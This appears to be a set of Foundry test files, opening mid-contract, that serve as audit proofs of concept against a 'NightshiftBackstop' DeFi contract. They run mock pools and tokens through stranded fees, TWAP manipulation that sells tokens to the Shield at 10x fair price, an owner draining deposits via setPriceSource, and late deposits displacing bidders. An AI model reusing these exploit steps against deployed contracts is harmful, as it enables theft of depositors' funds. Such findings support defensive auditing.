        uint256 a = allowance[from][msg.sender];
        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract ProofPool {
    address public token0;
    address public token1;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    function observe(uint32[] calldata) external pure returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](4);
        l = new uint160[](4);
        for (uint256 i; i < 4; ++i) {
            c[i] = 1_000_000;
        }
    }
}

/// @notice After the only depositor withdraws everything, `shieldTotalDeposits` keeps the rounding dust
/// of the compounded deposit. `settle` then still credits 80 % of every fee to `shieldG` (because
/// `shieldTotalDeposits != 0`) although nobody holds a deposit. Later depositors snapshot `shieldG`
/// on entry, so that quote can never be claimed by anyone and never reaches the treasury.
contract ShieldFeeDustProof is Test {
    NightshiftBackstop internal bs;
    ProofERC20 internal imd;
    ProofERC20 internal usdc;

    address internal owner = makeAddr("owner");
    address internal seller = makeAddr("seller");
    address internal bidder = makeAddr("bidder");
    address internal depositor = makeAddr("depositor");
    address internal later = makeAddr("later");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new ProofERC20(18);
        usdc = new ProofERC20(18);
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        ProofPool pool = new ProofPool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));

        imd.mint(seller, 2_000e18);
        imd.mint(bidder, 1e18);
        usdc.mint(bidder, 1_000_000e18);
        usdc.mint(depositor, 3_000e18);
        usdc.mint(later, 1_000e18);
        vm.prank(seller);
        imd.approve(address(bs), type(uint256).max);
        vm.prank(bidder);
        usdc.approve(address(bs), type(uint256).max);
        vm.prank(depositor);
        usdc.approve(address(bs), type(uint256).max);
        vm.prank(later);
        usdc.approve(address(bs), type(uint256).max);
    }

    function test_feeShareStrandedOnDustDeposits() public {
        // 1. One depositor; one offer the Shield absorbs 50 lots of (debt 475e18 of 3000e18).
        vm.prank(depositor);
        bs.shieldDeposit(3_000e18);
        vm.prank(seller);
        uint256 id1 = bs.createOffer(1_000e18);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id1);
        vm.prank(seller);
        bs.claimSeller(id1);

        // 2. After the lock the depositor withdraws the whole compounded deposit.
        vm.warp(block.timestamp + 30 days);
        (uint256 dep,,,) = bs.shieldPosition(depositor);
        vm.prank(depositor);
        bs.shieldWithdraw(dep);
        (uint256 depAfter,,,) = bs.shieldPosition(depositor);
        assertEq(depAfter, 0, "depositor fully out");
        uint256 dust = bs.shieldTotalDeposits();
        emit log_named_uint("shieldTotalDeposits with no depositor left (dust)", dust);
        assertGt(dust, 0, "rounding dust remains in shieldTotalDeposits");

        // 3. A fully bid offer settles: 80 % of its fee is credited to a Shield nobody holds.
        vm.prank(seller);
        uint256 id2 = bs.createOffer(1_000e18);
        vm.prank(bidder);
        uint256 bidId = bs.placeBid(id2, 100);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id2);
        NightshiftBackstop.Offer memory o = bs.getOffer(id2);
        uint256 fee = (o.filledLots * o.lotCost * 300 + 9_999) / 10_000;
        emit log_named_uint("fee of offer 2", fee);
        emit log_named_uint("treasuryAccrued from offer 2", bs.treasuryAccrued());

        // 4. Everyone claims; a later depositor snapshots shieldG on entry and sees no gain.
        vm.prank(bidder);
        bs.claimBid(bidId);
        vm.prank(seller);
        bs.claimSeller(id2);
        bs.withdrawTreasury();
        vm.prank(later);
        bs.shieldDeposit(1_000e18);
        (,, uint256 laterGain,) = bs.shieldPosition(later);
        assertEq(laterGain, 0, "new depositor cannot reach the earlier credit");

        uint256 stranded = usdc.balanceOf(address(bs)) - 1_000e18; // minus the new deposit
        emit log_named_uint("quote in the contract owed to nobody", stranded);
        // Expected: fee quote goes to the treasury or to a depositor; only rounding dust may remain.
        assertLe(stranded, 1e6, "80 % of the fee is stranded in the contract forever");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract ProofERC20 {
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Uniswap v3 pool stand-in: cumulatives for a fixed past and present mean tick.
contract ProofPool {
    address public token0;
    address public token1;
    int24 public tickPast;
    int24 public tickNow;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    function setTicks(int24 past, int24 now_) external {
        tickPast = past;
        tickNow = now_;
    }

    function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory c, uint160[] memory l) {
        uint32 w = secondsAgos[2];
        uint32 gap = secondsAgos[1] - secondsAgos[2];
        c = new int56[](4);
        l = new uint160[](4);
        c[0] = 1_000_000;
        c[1] = c[0] + int56(tickPast) * int56(uint56(w));
        c[2] = c[1] + int56(tickNow) * int56(uint56(gap > w ? gap - w : 0));
        c[3] = c[2] + int56(tickNow) * int56(uint56(w));
    }
}

/// @notice The Shield buys at the price frozen when the offer was created and never re-checks it.
/// A seller who moves the pool TWAP (both windows, so momentum is 0 and the pump filter passes) for
/// the 90 minutes before `createOffer`, then lets the price return, sells the Shield tokens at 10x
/// the pool price it reads at settlement. The Shield is a forced buyer with no opt-out.
contract ShieldStalePriceProof is Test {
    NightshiftBackstop internal bs;
    ProofERC20 internal imd;
    ProofERC20 internal usdc;
    ProofPool internal pool;

    address internal owner = makeAddr("owner");
    address internal attacker = makeAddr("attacker");
    address internal depositor = makeAddr("depositor");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new ProofERC20(18);
        usdc = new ProofERC20(18);
        // minOfferSize 1000 IMD, shieldPerOfferCap 10_000 quote, 1 IMD holder floor (README values).
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new ProofPool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));

        usdc.mint(depositor, 10_000e18);
        imd.mint(attacker, 1_000e18);
        vm.prank(depositor);
        usdc.approve(address(bs), type(uint256).max);
        vm.prank(attacker);
        imd.approve(address(bs), type(uint256).max);
    }

    /// @dev IMD price multiplier in ticks, sign-corrected for the pool's token order.
    function _setPrice(int24 ticks) internal {
        int24 t = address(imd) < address(usdc) ? ticks : -ticks;
        pool.setTicks(t, t);
    }

    function test_shieldBuysAtTenTimesTheSettlementPrice() public {
        vm.prank(depositor);
        bs.shieldDeposit(10_000e18);

        // Fair price: tick 0, 1 IMD = 1 quote. The attacker held the pool at ~10x for 90 minutes:
        // both TWAP windows read tick 23027 (1.0001^23027 ~ 10.0), momentum 0, discount 5 %.
        _setPrice(23027);
        vm.prank(attacker);
        uint256 id = bs.createOffer(1_000e18);
        NightshiftBackstop.Offer memory o = bs.getOffer(id);
        assertTrue(o.shieldEligible, "pump filter does not see a held pump");
        assertEq(o.discountBps, 500);
        assertGt(o.lotCost, 90e18); // ~95 quote per 10 IMD lot, fair is 10

        // Price returns to fair right after creation; the frozen lotCost does not.
        _setPrice(0);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id);

        o = bs.getOffer(id);
        (uint256 fairLotCost,,) = bs.quoteLot(o.lotSize);
        uint256 shieldSpent = 10_000e18 - bs.shieldTotalDeposits();
        uint256 fairValue = o.shieldLots * o.lotSize; // 1 IMD = 1 quote at settlement
        emit log_named_uint("shield lots bought", o.shieldLots);
        emit log_named_uint("quote the Shield paid", shieldSpent);
        emit log_named_uint("pool value of those tokens at settlement", fairValue);
        emit log_named_uint("fair lotCost at settlement", fairLotCost);

        vm.prank(attacker);
        bs.claimSeller(id);
        emit log_named_uint("quote the attacker received", usdc.balanceOf(attacker));

        // Expected: the Shield does not buy lots priced above what the pool is worth when it buys.
        assertEq(o.shieldLots, 0, "Shield bought at a frozen price 10x the settlement TWAP");
        assertEq(bs.shieldTotalDeposits(), 10_000e18, "Shield deposits spent on a stale price");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Constant-tick pool stand-in with a settable tick.
contract Pool {
    address public token0;
    address public token1;
    int24 public tick;
    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }
    function setTick(int24 t) external { tick = t; }
    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](ago.length); l = new uint160[](ago.length);
        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));
    }
}

contract PocOwnerDrain is Test {
    NightshiftBackstop bs;
    Tok imd;
    Tok usdc;
    Pool pool;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bob = makeAddr("bob");
    address mallory = makeAddr("mallory");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new Pool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bob, mallory];
        for (uint256 i; i < 3; ++i) {
            usdc.mint(u[i], 1_000_000e18);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
        imd.mint(seller, 1_000e18);
        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD
    }

    /// a flat 100x price (momentum 0, so the pump filter passes), then sells 1,000 IMD per offer to the Shield.
    function test_ownerDrainsShieldViaPriceSource() public {
        address dep = makeAddr("depositor");
        usdc.mint(dep, 100_000e18);
        vm.startPrank(dep);
        usdc.approve(address(bs), type(uint256).max);
        bs.shieldDeposit(100_000e18);
        vm.stopPrank();

        Pool fake = new Pool(address(imd), address(usdc));
        fake.setTick(address(imd) < address(usdc) ? int24(46_000) : int24(-46_000)); // ~100x
        vm.prank(owner);
        try bs.setPriceSource(address(fake)) {} catch {} // a fixed contract may refuse or delay this
        imd.mint(owner, 10_000e18);
        vm.startPrank(owner);
        imd.approve(address(bs), type(uint256).max);
        uint256[] memory ids = new uint256[](10);
        uint256 n;
        for (uint256 i; i < 10; ++i) {
            try bs.createOffer(1_000e18) returns (uint256 id) { ids[n++] = id; } catch {}
        }
        vm.stopPrank();
        vm.warp(block.timestamp + bs.OFFER_WINDOW());
        for (uint256 i; i < n; ++i) {
            bs.settle(ids[i]);
            vm.prank(owner);
            bs.claimSeller(ids[i]);
        }
        (uint256 left, uint256 tokGain,,) = bs.shieldPosition(dep);
        emit log_named_uint("owner USDC taken from Shield", usdc.balanceOf(owner));
        emit log_named_uint("depositor USDC left", left);
        emit log_named_uint("depositor IMD received", tokGain);
        // Fair value of IMD is 1 quote (the canonical pool sits at tick 0). Deposit + IMD received
        // valued at that price must not fall by more than 1 % of the 100,000 deposited.
        assertGe(left + tokGain, 99_000e18, "owner moved Shield deposits through setPriceSource");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Constant-tick pool stand-in with a settable tick.
contract Pool {
    address public token0;
    address public token1;
    int24 public tick;
    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }
    function setTick(int24 t) external { tick = t; }
    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](ago.length); l = new uint160[](ago.length);
        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));
    }
}

contract PocLateShield is Test {
    NightshiftBackstop bs;
    Tok imd;
    Tok usdc;
    Pool pool;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bob = makeAddr("bob");
    address mallory = makeAddr("mallory");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new Pool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bob, mallory];
        for (uint256 i; i < 3; ++i) {
            usdc.mint(u[i], 1_000_000e18);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
        imd.mint(seller, 1_000e18);
        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD
    }

    /// must not displace bids placed inside the window.
    function test_postDeadlineShieldDepositDisplacesBidders() public {
        vm.prank(seller);
        uint256 id = bs.createOffer(1_000e18); // 100 lots of 10 IMD, lotCost 9.5e18 at tick 0
        vm.prank(bob);
        uint256 bidId = bs.placeBid(id, 100);

        vm.warp(block.timestamp + bs.OFFER_WINDOW()); // bidding closed
        vm.expectRevert(NightshiftBackstop.BiddingClosed.selector);
        vm.prank(mallory);
        bs.placeBid(id, 1); // bidding is closed (mallory also holds no IMD)

        vm.prank(mallory);
        bs.shieldDeposit(950e18); // after the deadline, no holder check
        bs.settle(id);

        vm.prank(bob);
        bs.claimBid(bidId);
        vm.prank(mallory);
        bs.shieldClaimGains();
        emit log_named_uint("bob IMD received", imd.balanceOf(bob) - 1e18);
        emit log_named_uint("mallory IMD received", imd.balanceOf(mallory));
        assertEq(imd.balanceOf(mallory), 0, "late Shield depositor took lots from the closed offer");
        assertEq(imd.balanceOf(bob), 1e18 + 1_000e18, "bob's fully-covering bid was cut");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Constant-tick pool stand-in with a settable tick.
contract Pool {
    address public token0;
    address public token1;
    int24 public tick;
    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }
    function setTick(int24 t) external { tick = t; }
    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](ago.length); l = new uint160[](ago.length);
        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));
    }
}

contract PocNoPriceBound is Test {
    NightshiftBackstop bs;
    Tok imd;
    Tok usdc;
    Pool pool;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bob = makeAddr("bob");
    address mallory = makeAddr("mallory");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new Pool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bob, mallory];
        for (uint256 i; i < 3; ++i) {
            usdc.mint(u[i], 1_000_000e18);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
        imd.mint(seller, 1_000e18);
        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD
    }

    /// source says and the seller had no way to bound it.
    function test_createOfferHasNoPriceBound() public {
        (uint256 expected,,) = bs.quoteLot(10e18);
        Pool other = new Pool(address(imd), address(usdc));
        other.setTick(address(imd) < address(usdc) ? int24(-46_000) : int24(46_000));
        vm.prank(owner);
        bs.setPriceSource(address(other));
        vm.prank(seller);
        uint256 id = bs.createOffer(1_000e18);
        uint256 got = bs.getOffer(id).lotCost;
        emit log_named_uint("expected lotCost", expected);
        emit log_named_uint("actual lotCost", got);
        assertGe(got * 100, expected * 99, "offer escrowed at a price far below what the seller saw");
    }
}